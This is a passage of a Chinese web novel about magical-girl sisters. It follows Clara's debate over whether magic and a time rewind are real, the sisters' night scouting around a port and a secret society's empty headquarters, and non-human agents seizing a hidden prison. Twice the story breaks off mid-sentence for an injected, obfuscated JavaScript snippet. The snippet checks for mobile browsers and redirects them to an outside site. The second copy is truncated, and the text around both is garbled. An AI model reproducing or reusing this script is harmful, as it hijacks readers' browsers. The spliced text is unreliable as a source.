“无论魔法存在的原因科不科学都与我无关,”克拉拉表情不快地说,“那个特异点也好,你们魔法少女也好都与我无关!” 但这样说着的克拉拉,表情却并没有多痛快。 “真的这样就好了吗?”森山寺未雅看着克拉拉问。 “什么好不好的,难道我还会后悔吗?”克拉拉有点后悔把这人的脸录进门禁系统的,果然小孩子就是麻烦。 “如果按照我们说的那样,关于魔法的一切全都是不存在也没关系,不相信也没关系的,那么现在既然有人可以确切地告诉你答案:魔法存在。那你只需要这个答案就可以了吗?”森山寺未雅说,“艾克里普说的对,奇迹是需要珍惜的。” “我说过了,这主动与我无关,也被动和我没有关系,我主动被动都与魔法无缘。”克拉拉强调说。 森山寺未雅看着克拉拉,心想这人还真是固执,当时艾克里普一口断定时间回溯是不可能的,但她依旧认为可能性存在并为之反复思考,而克拉拉甚至在知道魔法是存在的情况下也不愿意思考,明明她当年愿意为了一个假说奋斗至今的。 时间真的会改变一个人这么多吗?森山寺未雅还是想再试试。 “人无法证明魔法的存在,也无法证明魔法不存在,但我们出现在这里告诉你魔法存在,你接受了,却又相信这与你无关,明明你并不排斥与魔法相关的事情和东西吧,单纯地作为一个搬运工你难道甘心吗?”森山寺未雅说。 克拉拉转过头来看向森山寺未雅,她眼镜下的目光有些冷。 “为什么我要不甘心?”克拉拉的声音也有些冷,“魔法说到底和这世间的其它物质有什么不同,我就非得对它感兴趣不可吗?” “魔法能做到的人类都能做到不是吗?说到底人类根本就不需要魔法,研究魔法是没有意义的,研究魔法与研究其它的物质有什么区别?都没有用!我研究了魔法到底是能做什么?我用不到吧?你们也用不到吧?甚至不能卖钱——” 说到这里,克拉拉的声音一瞬间顿住了,她意识到自己在和一个高中生讨论社会价值,就像是她最讨厌的大哥那样。 时间真的会让人发生这么大的改变吗? “有的,”森山寺未雅说,“有着只有魔法做得到,人类做不到的事情。” “…什么东西,你是说时间回溯?那个不是你们那个魔法大师都说了不可能的吗?”克拉拉说。 “大家也都说魔法是不可能存在的呀?”森山寺未雅笑着说,像是打赢了辩论赛一样。 克拉拉心想根本就没有人在和她辩论,这人还真是能说会道,和她那个说两句话就开始想别的事情的妹妹一点不一样,不是魔法少女的话当个研究人员也不错。 “…我其实有研究过你们那个魔力,我老师那家伙基本将魔力的存在算在常识里面,但我姑且算是普通人吧,要说服我还是得讲证据的。”克拉拉沉默了一会说。 “哦哦!”森山寺未雅露出一副我就知道的表情。 “魔力带来的结果,除了最基础的魔法不谈,魔法少女和魔物都是有主观能动性的存在,在这世间一定会留下存在的痕迹。尤其是魔法少女,魔物还能被当作是异常的野兽处理,魔法少女一个念头可会带来大结果。”克拉拉说。 “是的,幸亏未央她暂时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15807987|173535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不想当总统。”森山寺未雅点点头。 “当时很奇怪,就是没有。”克拉拉摊手,“现在我知道你们变身之后自带隐藏身份功能,但当时的我一直查相关资料,甚至去各个图书馆查不同语言的历史,还是没有。” “或许是因为她们那个时候不叫魔法少女?”森山寺未雅问。 “这点我还是能想象得到的,但是结果告诉我,除了一些看上去一看就是在添油加醋的故事,我根本就找不到任何与魔法相关的记录,更别提是魔法少女了。” “但是我很快意识到,历史这种东西想要遮盖什么东西都太容易了,魔法可以用科学解释,那就应该用科学去解释,让人们专精于研究科学而不是给后人留下念想去走‘歪门邪道’。”克拉拉说。 “很多邪教也是这么解释自己的教义为什么没什么历史记录的呢。”森山寺未雅点头,她对此并不意外。 “魔力的出现如何解释都可以,宇宙初生的波动也好,外星人降临也好,甚至强行说是神说要有光时顺便动的手也好,魔力的存在是结果而不是有意义。无论是魔法少女的行动还是魔物的存在,人类动动笔随随便便就可以抹除掉了,魔法的使用毫无痕迹,甚至你们被人看着就没办法使用魔法吧?所以我才说研究魔法是没有意义的,除了能使用魔法的人,研究魔法不会带来任何东西。”克拉拉自认为尽力解释了。 若是艾克里普在这里肯定要生气了,森山寺未雅心想。 也就是说,即使森山寺未央灵机一动用精神控制了一个总统按她的想法做,那这个世界也不会因她的这个做法就偏向魔法世界,人类历史上性情大变的统领还少吗?再说的多一点,神迹的记录也是有的,甚至证据也并非不存在。 可无神论者还是大多数,宗教还是有好多个。 “所以你是觉得魔力是短期存在于这个世界上的东西吗?还处于试错期,只不过存在的时间长度我们没办法去测量?”森山寺未雅问。 “是的,不过魔力的使用如果还遵循宇宙守则的话就会留下类似熵的残骸,不过这玩意与我们就真的没有关系了。”克拉拉说。 “…我还是认为时间回溯是确切发生过的事情,就像你说的,熵与我们无关,因为它引发的结果在太遥远之后,可时间回溯引发的改变就发生在我们周围。”森山寺未雅说,“难道你想说时间回溯没有发生过也没有关系吗?” “我这样的人哪怕没有走上研究人员这条路也会有无数条路走向成功的,White是个不错的导师,但也就这样了。这条路让我碰巧遇到了你们,得知了魔法,仅此而已了。”克拉拉无所谓地说。 “你甚至不能确定时间回溯带来了什么就这样说,我可是觉得时间的回溯也是达成奇迹的前置条件之一呢。”森山寺未雅说。 “我也不太在乎奇迹这个东西,这玩意不会发生在我身上。”克拉拉说。 在艾克里普的断定后,几乎所有人都将森山寺未雅看到的那个世界视作为平行世界,而不是时间回溯前的世界,似乎只有她一个人对此耿耿于怀,她自认为和克拉拉交情不深,但如果没办法说服对方的话她就永远无法验证自己的猜想了。 “我如此执着于特异点的原因,是因为我认为时间的回溯为我们带来或留下了一些东西,例如一个还保留着记忆的敌人,以及时间也没办法带走的东西。”森山寺未雅说,“我们的敌人很强大,但艾克里普也很强大,如果我是敌人的话哪我绝不会留在这座城市里,甚至敌人可能记得发生过什么,即使一切都大不相同了。” “给自己设立假想敌吗?你们是不是太闲了?”克拉拉质疑说,“小看对手会吃亏,不过你们那位叫艾克里普的朋友说实话已经和神没什么区别了吧,我想象不出现代有谁能打败她。更别提还有你们在不是吗?” “我也想象不出什么样的敌人能做到,也想象不出什么样的人会想要作为艾克里普的敌人,毕竟她是个好人,而且善于隐藏自己。”森山寺未雅说。 “一定要给敌人找个理由吗?现实又不是小说,不需要讲逻辑的,而且这也不关你们的事吧?”克拉拉说。 “我是担心艾克里普被对方说服啦。”森山寺未雅选择直接挑明自己的想法。 “…你这样的更像是反派哦?她是这座城市的守护者吧,没有理由与你们为敌,也没有理由与人类为敌的吧?”克拉拉表情微妙。 “艾克里普她是个温柔的人,那是对于我们来说。”森山寺未雅说,“她会处理关于魔力引发的事情,类似于魔物,关于魔法的人体实验,但不会处理人类自己的问题,两边混在一起的时候她的动摇简直是地震级别的。” 森山寺未雅能感受到艾克里普对自己前后的温度差,自然也能发现她看向普通人与看向她们时的区别。或许一开始她选择进入校园是想和人类做朋友吧,但自从带上那副眼镜之后就没有这个可能了。她或许会保护人类中她的一些朋友,但若是人类发生战争,她大概率不会管。 “那也不至于怀疑她会对人类动手吧?”克拉拉问。 “她只要不出手就可以了。”森山寺未雅摇头,“你说如果这一切的幕后黑手如果是魔法少女的话,她会出手杀死她吗?” “…受害者都是人类,你是想说这一点吧,她不会为了人类去杀魔法少女。”克拉拉说。 “理论上就是如此了。”森山寺未雅点头,“在那个世界里我和未央都是魔法少女,但艾克里普并没有出现,我实在是想知道她不出现的理由是什么,而时间又是为什么,如何,谁,在什么时候回溯的。” “你都有点说服我了。但你还是没办法证明时间回溯过吧?”克拉拉说。 “…你就不能像之前一样将此作为假说进行研究吗?”森山寺未雅确实没办法证明。 “好吧,即使是这样,那假如说你再次进入了那个世界,你也没有办法在那里睁开眼吧?”克拉拉顺势说,“上一次是因为你,和那个世界的你,身处同一位置,类似于被关进了薛定谔的箱子,生与死与数量都处于混沌时期,可现在那个世界的你可能都已经火化了吧?” 似乎是想要掩盖自己被说服的事实,克拉拉说话自暴自弃了些。 “这一点,我决定相信一下我亲爱的妹妹。”森山寺未雅莫名有些自豪地说,“如果她死了,那我就是使用禁忌魔法也会想办法复活她的,反之亦然。” 克拉拉感觉身上起了一身鸡皮疙瘩。 “…我会考虑试试的。”她只能这样敷衍着说。 “加油!”森山寺未雅为她加油。 这些就是上一次森山寺未雅与克拉拉的谈话,之后克拉拉完全没有考虑过森山寺未雅的提案,一次都没有进过医疗区。 以一个假说就去没头没脑地进行研究什么的,克拉拉不禁皱起了头。 但是,之前好像也是这样的吧?克拉拉忽然想,之前她就是拼着一口气,以一个还只是猜想的假说为基础,大老远地跑到这里,建立实验室,一晃眼都十年多了,现在回头看那之间的每一个瞬间她都有后悔的理由和选择的余地。 时间会改变一个人,让她长大,变老,妥协。 克拉拉不想成为这样的人。 “我会向所有人证明,我会取得没有任何人能质疑的成就。”那年她十六岁,得知大哥那样说自己之后一口气开了四小时车去他办公室狠狠打了他一顿,“而在那之后,我也绝不会成为你们这样的凡人。” 十多年后她来到了第一个岔路口,而现在,她才来到了第二个。 医疗舱内,石杖存在其中,那是她那“就那样”的老师留给她的路。 55.INMATE-001 虽然启明星说过不需要太过于着急开始行动,但森山寺姐妹还是决定今晚就跑一趟南流岛港口附近的区域,即使无法发现什么,提前踩点也是好的。 从西部市区并没有直达南流岛的公交可以乘坐,但从108号公路向南转向128号公路的话,有高速出口可以直达港口,路程算上堵车时间大概五十分钟左右,西部市区与南流岛几乎算是隔着整个城市板块相望。 天色渐暗,二人出了事务所就赶往市内环线车站前往东市区,一方面是节省零花钱,一方面这个点乘坐地铁比开车还快一些。 但地铁拥挤,下班高峰期从不迟到。 “我说啊,我们非得挤上这趟地铁不可吗?”森山寺未雅发出了质疑。 地铁广场口人潮涌动,从入口的扶手电梯处就开始了排队,二人不用想就知道车站内是如何一副人间惨剧。 人挤人的感觉实在是不好受,况且人多就容易发生事端,森山寺未雅一想到这种可能性本来坚定的内心都动摇了起来。 森山寺未央深以为然,既然是魔法少女那该以超出常人的思考方式去考虑解决问题的方法,二人都不认为自己需要遵守为常人所设置的限制。 “我看看。”森山寺未雅就地找了个地方坐下开始检阅棋盘里的棋子,这些棋子平时为了节省魔力,按照魔法类型提前设置好了作用,并以正常国际象棋棋子的模样保存在森山寺未央的结界里,按需激活取出。 当然这只是森山寺未央按照自己的爱好设定的形式,就像是棋盘中只有她这边有棋子一样,她激活棋子不需要考虑规则,只需要考虑魔力消耗。不过魔力棋子的兵种确实是她考虑魔法配置的依据。 在结界内激活棋子的魔力消耗只有在外面召唤手下的一半都不到,同时棋子状态不消耗任何魔力,结界内部消耗魔力的只有场地本身,由于该结界并不大,所以场地消耗极低,吃点蛋白棒就补上了。 就像之前在神脉医院遇到格雷伊时使用的技巧,力量,耐力三枚骑士士兵,除此之外还有干扰型,支援型,后方防御型,以及两枚自爆型魔法的骑士。八枚士兵棋子的魔法简单易懂,它们通常不需要太多的命令,也无法施加太复杂的命令。消耗魔力有限,但若魔力充沛有时也能带来一些精彩的表现。 两枚车分别是落雷魔法和防御屏障魔法骑士。这一类型棋子需要控制者对其施加精准的命令,例如落雷目标的坐标,屏障要从哪里升起直到哪里,效率很高,但消耗也不少,若是随意下达命令的话就只会白白浪费魔力。 两枚马所有魔法分别是化影和交换,都是相对来说偏向辅助的魔法,但这也意味着不需要消耗控制者太多的魔力去操控它们的行动,是平时可以召唤出来放在一旁挥之即来的棋子。交换是一个有些特殊的魔法,明明算是空间魔法,但钻了“因为使用目标只有两个所以其实限制很高”的空子减少了魔力消耗。 两枚象基本不会被带出结界使用,而且被激活之后的形象也特别醒目,分别拥有燃烧魔法和诅咒魔法,不需要进行移动就可以对结界内任何地方的敌人造成攻击,两种魔法达成的效果其实是相似的,一般情况下只能选择一个使用,因为耗费魔力非常多。 在上一次森山寺未雅进入结界时,王与后的位置都是空着的,是因为那时森山寺未央还没有考虑好什么样的魔法能配得上这样重要的棋子。 不过现在两枚棋子倒是稳稳地停在该在的位置上。 王的激活后形象是太阳,魔法是坠落,效果是吸收靠近它范围内的敌人的魔力并控制其身上存在的力,包括地心引力。 后的激活后形象是月亮,魔法是升起,效果是将目标锁定在原地,并提升效果范围内经过控制者允许的所有存在的所有能力,包括魔力的输出效果和体能。 两者的魔法都无法完整地在结界之外被复现出来,一方面是因为魔力,另一方面是因为它们并不是普通的魔法。 两者都是激活或召唤后不再需要额外的魔力供应,也不需要命令。这两个魔法的效果都是复合型的,并非普通魔法,而是阵法。前期布置需要时间,激活时需要远超普通魔法需要的魔力,但效果也相当喜人就是了。 当初艾克里普说要想办法让日之森停课的时候,森山寺未央心里想的就是阵法。 “这个魔力需求不愧是类阵法型魔法,而且说真的这个阵法名字起的还挺不错的,不过你真的有机会激活这两个棋子吗?”森山寺未雅质疑道。 “打得过就能用,而且我们两个人的话一定什么都做得到的!”森山寺未央充满信心。 以森山寺未央现在的魔力上限,她可以一次性激活所有的士兵棋子并使用一些魔法。马可以随时取用但需要注意时间,车的使用限制就比较高了,因为本身的素质也挺高所以总体消耗魔力起来非常快。太阳和月亮的效果虽然听上去吓人,但若是想要单独使用其中魔法,而不是激活完整的阵法,那消耗的魔力会减少许多,同时效果会收缩。 但如果两个人一起的话,就可以将除了王与后的所有棋子激活并控制使用,同时这些魔法二人也可以直接使用。在森山寺未雅的研磨之下,她们平时在外狩猎时,自身只会使用一些基础性的魔法,主要还是依赖召唤手下来消灭魔物,这些魔法的魔物主人们并没有被二人记录在案。 “那些魔物光是被记住就要消耗脑力,魔法不错,本身素质不高,这种魔物就是叫去做家务我都嫌长得丑。”森山寺未雅一边这么说着一边遣散了那些没用的魔物。 比如说局部加速治愈,局部屏障,局部身体强化,这些都是基础魔法,魔法是基础魔法的魔物通常都是没学会新魔法的小魔物。顺带一提,哪怕是现在森山寺未雅都学会了发起魔法聊天请求,森山寺未央还是没有学会,只能跟在别人的聊天后面回复。 “我们现在如果使用加速和化影的话,速度大概是多少呢?”森山寺未雅思索着。 “加速根据魔力输出的量,对目标的加成上限取决于对方的身体素质上限,我们没有晓那样的身体素质,在考虑肌肉承受上限的情况下的话。”森山寺未央快速计算了一下,“走高速的话,可能能达到50-60公里每小时,但应该只能全力奔跑半个小时。” 森山寺未央估算犬山晓之前在高速公路上的追车表现,觉得她在魔法作用下速度至少也有200公里每小时了,况且她当时还承受了落地冲击。 “可是加速魔法也降低了摩擦力,如果我们将对持续加速魔法的输出调整为降低摩擦力最大化的效率而不是身体组织强化,并使用化影从影子之间跳跃的话,魔力消耗至少能减少一半,速度不确定。”森山寺未雅说。 “理论上是可以的啦,不过不确定性很多吧?比如说车灯和跳跃目标点什么的。”森山寺未央说。 “摔了就摔了吧。”森山寺未雅说,“而且你明明超兴奋的。” “哇你是不知道,我们在高速上被袭击的时候时速可是至少两百多,别提有多刺激了!”森山寺未央颇为怀念地说,速度快到一个境界后晕车就已经无法阻止她的神经兴奋起来了。 “…所以羽生她说会开车居然是真的会。”森山寺未雅不可置信地说,她以为有乐羽生说的会开车也就是普通人考完驾照的水平,是“学会了开车”,没想到居然是“很会开车”。 “想来她平时飞行也是这个速度吧,真是羡慕。”森山寺未央也很想飞来飞去玩。 总之二人决定了就这样一路徒步到南流岛港口附近,一路就贴着公路走,到了东市区附近吃个饭之后走小路到目的地。 从西市区沿着108号公路走,进入128号公路抵达东市区,这相当于走了一个90度拐角,若是按照两点之间直线最短的法子从西市区穿过中心湖和中心绿地以及一众居民区,那抵达东市区的路能少三分之一。 “…你真当我们会飞吗?”森山寺未雅察觉到了自己妹妹愚蠢的想法。 “我希望我们会。”森山寺未央真挚地说。 沿着公路走是化影魔法效果最大化的方式,现在夜色降临,根本没有人会注意到高速边上有影子在攒动,二人一路你追我赶地前进,抵达东市区高速出口时时间大概过去了半个小时。高速出口附近是东市区的核心地带,不远处,二人的家在北边一个车站距离的居民区。 “…累死我了,”森山寺未雅坐在路边的石头上大喘气,“真的,徒步回家真的是愚蠢的决定。” 虽然说耗时减少了,但耗费的体力和魔力都是实实在在的。 “有点像游泳,还挺好玩的。”森山寺未央更是不顾形象直接躺在石头上,附近人来人往,偶尔有人朝她们两个投来视线,但并没有其它动作了。 “魔力消耗比想象中的还要多,果然控制魔法输出的范围口头上说说是行不通的吗?”森山寺未雅喃喃自语,“还是说只是练习不够?还是说要辅助以重力魔法?” “要不新研究个阵法好了,快速赶路阵法,说起来晓平时是怎么赶路的呢?”森山寺未央胡乱思考,“没怎么见她用过魔法啊,但是她会的魔法应该很多才对。” “返璞归真了吧。”森山寺未雅说。 东市区作为后续建立起来的新城区,除了高楼大厦和咖啡厅之外,最为常见的就是艺术作品,雕塑像,街头绘画。几乎每一处公园里的柱子上都有颜料覆盖,更别提行为艺术家们。管理者会带走一些实在上不了台面的,但现在大多数居民都已经习惯周围有非常与众不同的人了。 现在还远不到城市休息的时候,街上的人来来往往,准备好开始夜间的生活。 “这石头上可脏了,你校服还没换下来别躺下啊。”森山寺未雅扒拉自己的妹妹,企图让白色校服离沾满鸽子遗留物的石头远一点。 二人歇脚的位置对面就是一个公交车站,不少人光明正大地用余光看向她们两个,森山寺未央感受不到那些视线但森山寺未雅感受得到,她迫切地渴望离开这里。 “马上,马上!”森山寺未央经不住扒拉站了起来,二人整理了下衣服,起身前往吃饭的地方。 这片地方二人可谓是熟门熟路,哪栋楼什么时候建的,哪个路口的雕像建的最久,哪家店以前是另一家很好吃的店,若要聊起来的话可能就再也没有停下来的机会了。 但好在姐妹二人共享一份记忆,不需要前情提要就可以快速开始讨论。 “好饿——我想吃肉,哎呀那家店还没吃过呢,不过现在车站地下的商业街还开着,果然还是想去人少一点的地方吃饭啊但是现在哪里人都好多!”森山寺未央一开始思考,想法就变个不停,根本就不知道该如何选择。 “你上次买了点心之后零花钱还有多少?家里那些快递都是你的,都是效果器,而且还有一个新的音箱。”森山寺未雅问。 “…好吧。”森山寺未央瞬间意识到了自己的贫困,“玩乐队第一步倾家荡产是必然的吗?” “不,倾家荡产是因为管不住手。”森山寺未雅无情地说,“而且贝斯手已经不流行贫困的人设了。” “我的乐队人设是低调但难掩神秘气质的实力派!”森山寺未央郑重强调。 “难为你一边念节拍一边控制自己的表情,放心吧没有人会为你的失误不满的。”森山寺未雅安慰说。 “可恶啊被你发现了。”森山寺未央咬牙切齿了一会,“哎呀那边好多人排队诶。” 不远处的购物中心前广场,一辆复古餐车停在那里,长了无关的冰淇淋形象的大型立牌驻足在一旁,无声地向每一个心甘情愿排队的人问好。 而森山寺未央向其投去视线的原因是那里发生了不明的骚动,森山寺未雅看过去,只能看见一台形象与普通轮椅截然不同的座驾停在餐车附近,说是座驾,是因为她觉得那比起轮椅更像是某种现代科技含量过高的可移动式按摩椅。 但即使是这样,它作为轮椅的象征性也没有发生改变,坐在其中的那个人若不是腿脚不便就是年事已高,总而言之是需要特别关注的。 秉持着对特殊人群的关怀,一位工作人员从餐车里走了出来为其送去对方订购的食物,当然是冰淇淋,森山寺未央远远地看到那一个华夫饼制成的碗中盛放这好几个冰淇淋球,努力克制住自己走向队伍尾端的渴望。 而这些行为明显为这个餐车赢得了不少好评,排队的人议论纷纷,有的甚至拿出了手机准备拍照。那人接过冰淇淋,不知道有没有道谢,轮椅缓缓转动方向,露出了其真容。 那是一位老人,银灰色头发束在廉价一边,衣着正式,面颊因肌肉流失而凹陷。 而森山寺未央,森山寺未雅,以及排在餐车前面的一部分人,看着那轮椅带着老人穿过马路来到人少的地方停下,也就是她们两个的附近,然后那枯瘦的手指捏着华夫饼的边缘,掰碎,些许碎屑并没有掉在老人的身上。 她用华夫饼碎挖了些冰淇淋,扔进嘴里咀嚼了几下,咽了下去,喉咙的滚动清晰可见,她的眉头皱在一起,随后环顾四周,移动到有波点艺术装饰的垃圾桶前面把整个碗扔了。 “…幸好我没有去排队。”森山寺未央成为了这场即兴默剧中第一个开口说话的。 森山寺未雅拉着她,准备离开这里,视线对她而言是实际存在的刀锋。 “是因为看到我扔掉它吗?”那个老人却转过来看向了她们,离得近了,二人可以看到她的脸,她的皮肤,嘴唇,头发,以及她的眼睛,漆黑但突兀地明亮。 “是啦。”森山寺未央知道这是在问自己,有些奇怪,但也点点头回答了。 对面的那人群传来了细细碎碎的说话声。 “那可不行,”老人的表情不像是在开玩笑,也不像是在劝诫,“我可是因为自己的想法才去排队的,你怎么能因为我的做法就不去排队呢?” 她的嗓音沙哑而低沉,是这个年龄的老人该有的嗓音,可她说的话却如同一个表达自己想法的年轻人,用反问句等待着别人去反驳。 “…确实,老人的味觉通常会与年轻人的味觉不同,而且您也可能是因为肠胃无法接受刺激而选择不去吃剩下的冰淇淋的,我们与您不同,不应该以您的行动为自己的行动基准。”森山寺未雅迅速地说,拉着森山寺未央缓慢移动。 “不同吗?”老人疑惑地问,她对这个回答并不满意,“那你们会去试试吗?” “不,应该是不会吧。”森山寺未央如实说,她远远地看到了那餐车的价格表,“这个价格这个分量的话我们今晚就要饿肚子了。” 况且吃一口就扔掉的行为实在是让她难以相信冰淇淋的性价比。 远处的人依旧在议论什么“浪费粮食”,“砸场子”,“浪费了一片好心”什么的话。 “…居然还有这样的事。”此时这位老人终于露出了她这个年龄该有的表情,也就是慈祥,或者说是怜悯,但也带着不可置信的惊愕。 就在森山寺未雅思索着该如何拒绝对方给她们两个买面包时,那位老人转身就走了。 “走了啊,我还想问那台轮椅有没有什么特别的作用呢。”森山寺未央意犹未尽,“晚饭我要吃冰淇淋。” “…去吃自助吧,也只能这样了。”森山寺未雅看着那老人离开,不再去想关于对方的事,心里希望她们两个不要出现在营销号短视频里。 二人就自助餐厅的选择饿着肚子讨论了一番,最后决定去吃一家小吃很多的自助烤肉,好在工作日的晚上没多少人排队,森山寺未央也终于吃上了心心念念的冰淇淋。 晚饭后,二人一路散着步走到了南流岛港口附近,这处港口面积实际上不小,十几年前还算得上是中小型港口为旅游轮渡和商贸服务,现在只能算是小型港口了,不过虽然只靠着旅游业和渔业挣钱,但也并没有像大学城北边的那个港口一样彻底转为文化区。 越是靠近港口区域咖啡店越多,靠近港口区的几条街上,随便推开一扇门都有大概率是咖啡店。大小连锁品牌的咖啡店,本地品牌的咖啡店,个人所属的小型咖啡店,以及完全看不出来是咖啡店但你问的话确实会卖给你咖啡的咖啡店。 这里的咖啡店提供的大多数都是浓缩型基底饮品,配合各种纪念品和烘焙产品对顾客与现代主流吉祥物文化的撮合,白日里通常都热闹得很。但这种热闹到下午三四点之后就消失了,或者说,从正式踏入港口区的那个路口之后就消失了。 森山寺姐妹小时候也经常被带着来这里附近的公园玩,她们的父母都是咖啡爱好者,连带着她们两个都从小就对这种苦苦香香的东西感兴趣。 但真正的港口区二人并没有去过,每次都只是远远地看一眼,小型游艇和帆船在其它区域的停泊区,这里并不是不相关的人该来的地方。 “我很小的时候就想问来,”森山寺未央指着远处围绕着港口的工业园区,“那里那里那里还有那里,都是干什么用的?” “想知道就自己上互联网搜。”森山寺未雅摊手表示自己没带手机。 “…你到底为什么会不带手机就出门?”森山寺未央大为震撼,自己掏出了手机开始搜索。 现代港口大多数都有一个完整的产业链,除了大家都能看见的停船,装卸货和存货,以及执法的海关地区外,中大型的港口都会提供船只的修理和建造服务,甚至直接在港口旁建设工厂群以减少运输成本。 “大概就是这样,那些人如果要停车的话应该会停在专业的仓储区或物流配送区吧。”森山寺未央说。 “看哪里大货车多吧,还有集装箱。”森山寺未雅点头。 二人再次使用化影潜入港口区域,园区内车流量不多,大多数工人都在靠近码头的位置。 【那里。】森山寺未雅注意到了一处建筑群,一些卷帘门开着,里面一看就知道是仓库。 二人迅速前往仓库建筑群附近,试图找出可疑的仓库或卡车。 【没有标识的私人卡车太多了,仓库里面的东西也都有东西盖着。】森山寺未央说。 【仓库里都有监控,果然应该再等等吗?】森山寺未雅说。 【可等到乱起来就来不及了!】森山寺未央有些急。 【…没错。】森山寺未雅思索着,【还有什么可以辨别货物内容的东西吗?】 【哦哦!我想起来了!】森山寺未央喜出望外,【艾克里普给我们的那个小瓶子。】 【那个只有在目标不处于封闭的情况下才有用吧。】森山寺未雅说。 【我们可以这样,我来攻击货物,你使用魔法预测货物损坏后瓶子会不会有反应。】森山寺未央提议道。 【可是如果你不真的毁坏货物的话,我是没办法预测到那样的未来的,你不会是指望我来阻止你吧?】森山寺未雅不可置信地问。 【一共就12个仓库,加油!】森山寺未央眨巴了一下眼睛。 森山寺未雅妥协了,无论如何这确实是最有效的做法就是了。 说起来容易做起来难,不过好在二人的默契存在, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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从这里开始往南流岛就只能走高速了,不过这个时候前往岛上的车少的可怜,只有些许私家车和旅游小巴驶向岛上的各处建筑。 高速的最终出口处拐几个弯就是岛上唯一的市中心,现在只有几家餐厅还开着,二人沿着小路拐进山区,十几分钟后就看见了一处隐藏在山里的宅院。 建筑的围墙被草木环绕,远远看过去像是镶嵌在山林里,围墙不算高,没有门牌号或名牌,大门紧闭,从车道延伸过去的石板路上没有落叶。 停车场在车道前方不远处,此时是空着的,二人化影潜入围墙内部,并没有在宽阔的院子里看到人,地面由灰白的平整石砖铺设,偶尔冒出一个正方形盛放灌木丛和路灯,才让这处地方看上去不像是一个巨大的广场。 从入口处往里行走约五十米,没有任何障碍物,森山寺未央觉得这里特别适合排队。 【进屋子里面吗?】森山寺未雅问,二层高的建筑里没有任何光亮。 【先绕一圈吧。】森山寺未央说。 二人就着建筑的外层看了一圈,没发现开着门的入口。 【这里的门,并没有门锁。】森山寺未雅意外地说。 二人所能看到的所有门或者窗户都没有看上去像锁的装置,甚至有的门连把手都没有,只要一推就开了,回头看,大门其实也是如此。 【这里没人来,所以不需要防盗吗?】森山寺未央有些奇怪,即使是乡下的养殖圈都会象征性地放个门闩,完全没有门锁更像是为了证明些什么。 【按照启明星说的,这里大概是白夜社所有家族共有的,所以也不属于任何人吧。】森山寺未雅说。 【总之先进去看看吧,我们分头行动,我去二楼。】森山寺未央说。 二人迅速开始搜查整栋建筑。 建筑内部的构造非常简单,一进门就能看见左右两侧的上行楼梯,房间不多而且分工明确。一楼有七个小型的休息间,内部构造一模一样,都是一个卫生间配一个客房,客房内面对面放置两台双人沙发,玻璃茶几横在中间,靠墙有置物用的桌子和衣架。 从一楼的台阶上到二楼,正前方是一个大型会议室,几乎横跨整个空间的长圆桌是木质的,暗色下纹理清晰,围着桌子放着二十二张一模一样的木质椅子,椅桌纹理相同。但令森山寺未雅意外的是会议室里没有任何现代化的产物,没有投影仪或幕布,她甚至没有发现灯或者开关。 二楼楼梯口处还有些空旷的区域,围栏围着,靠在上面的话能看到一楼的大厅,但现在屋内漆黑一片,森山寺未雅什么都看不到。 【屋子里面没一个地方有灯,不过倒是有天窗。】森山寺未央说。 【也没有锁呢,这个屋子就像个只能在特定时间里短暂使用的壳子。】森山寺未雅点头。 【不过一楼有七个房间,是不是意味着参会的组织有七个?】森山寺未央思索着。 【可二楼有二十二把椅子,一般来说,老大会让自己的属下在身后站着吧?】森山寺未雅感觉很奇怪。 【这倒是很可疑,不过白夜社倒是正如其名。】森山寺未央叹了口气,【这里啥都没有啊,走吗?】 【大概只有在开会的那几天这里才会派上用场吧。没什么能调查的了,走吧?】森山寺未雅点点头。 二人离开了白夜社总部。 白夜社总部南方山体矿区内设有南流岛黑狱,为上世纪中旬建设,初期用以关押谍报人员及科学家,上世纪末投入情报与心理作用,本世纪开始用于秘密关押死刑囚犯及特殊重犯。 本监狱不记入监狱系统目录,不在地图上公开,人员死亡后不记录,不接待国际特赦组织,也可以说不存在。 今日,此时时刻开始,它就真的不再存在了。 “从现在开始由天使部门正式接手贵机构。”低垂双目的青年说。 警报没有响,安全装置没有启动,安保部队没有响应,典狱长不置一词。 因为一切发生的太突然了,这只是再寻常不过的一个加班夜,除特殊时期外典狱长需要加班的时候不多,但最近确实是特殊时期。但特殊之处不该在此处,在黑狱,在典狱长的办公室,且是以非线性的形式出现的。 典狱长抬头,看向以陈述句说出那句话的青年,她没有特殊之处,至少肉眼看上去没有。编在侧肩的草绿色头发与密集耳部穿孔并不是特殊之处,那腿部的义肢也并非无法解释,黑色的手部皮肤也没有超出常理。 但方才门开时她应该先启动紧急安全装置的,而不是先抬头。 抬头就看到了,看到了就逃不掉了。 “…天使部门。”典狱长重复,“有函书吗?” “手脚不要动。”青年开口提醒,她的声音在鼻腔共鸣明显,幽然而轻,“你可以走,你的局长有事前报告你的任务,但我认为你的四肢并非是任务必需品。” “解决了。”无窗办公室内忽然出现了另一个人的存在,典狱长眼珠移位,观察到了一位同样不敲门的新客,那是陌生的面孔,左肩处略有破损的披风下有异常结构,推测为武器。 二者没有遮挡面孔的意思,典狱长沉默着,看着新来的那位走向自己的办公桌,灯光明亮到刺眼,但又不得不一整天都开着,这里的办公环境实在是不好。 但马上就不需要担心这个问题了,她低头看向那新来的蓝发青年放在桌上的三十个个金属铁牌,顶端的几个下滑,略过同类和桌面时发出磕碰声,上面没有血也没有硝烟的气息,她自然也没听见过枪响,但血气厚重。这些来自那蓝发青年黑色罩裙口袋,有几个落在地上,他俯身去捡时左肩披风内金属交叠声作响。 铁牌上有名字,她认得每一个,都是从军港调派过来的,这里工作内容特殊,这些人大多都会在这里一直工作直到退休或者监狱关闭。 安保部门不止三十武警。 “我如何报告局长?”典狱长抬眼,身穿人类工作制服的两位非人之物站在她的办公室内,空间内的异样感多到拥挤了起来。 “她已知晓。”垂目青年说。 